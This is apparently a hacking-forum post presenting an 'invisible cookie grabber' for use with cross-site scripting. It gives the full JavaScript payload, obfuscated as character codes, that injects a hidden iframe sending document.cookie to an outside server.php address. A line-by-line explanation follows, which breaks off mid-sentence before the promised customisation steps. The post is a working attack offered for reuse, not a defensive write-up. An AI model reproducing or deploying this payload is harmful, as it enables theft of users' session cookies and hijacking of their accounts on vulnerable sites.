Invisible Cookie Grabber (Used with XSS)

[snapter]

[hide=25]Here is the unhexxed version of my cookie stealer javascript.


<script>
var tb = document.createElement(String.fromCharCode(105,102,114,97,109,101));
var t = document.getElementsByTagName(String.fromCharCode(98,111,100,121))[0];
tb.innerHTML = String.fromCharCode(104,101,108,108,111);
tb.style.display = String.fromCharCode(110,111,110,101);
tb.src = String.fromCharCode(104,116,116,112,58,47,47,119,119,
119,46,110,101,116,119,111,114,107,45,106,117,110,107,105,101,115,46,99,111,109,47,
115,101,114,118,101,114,46,112,104,112,63,99,105,110,102,111,61)+document.cookie;
t.appendChild(tb);
</script>

The Number that you see above is just ASCII code na..

You can try this to get convert...

http://www.geocities.com/george_ruban/charset/CharCode.html

Ok now time to explain (details on how to edit this for your own use will come after)

[code]Line 1: Creates an iframe tag.
Line 2: Gets all elements of the body tag into an array
Line 3: Sets the inner HTML of the iframe to hello, don&#39;t ask why I can&#39;t remember myself.
Line 4: Sets the display style of the iframe tag to none (hidden away you see)
Line 5: This sets the source of your iframe (the file you have setup on your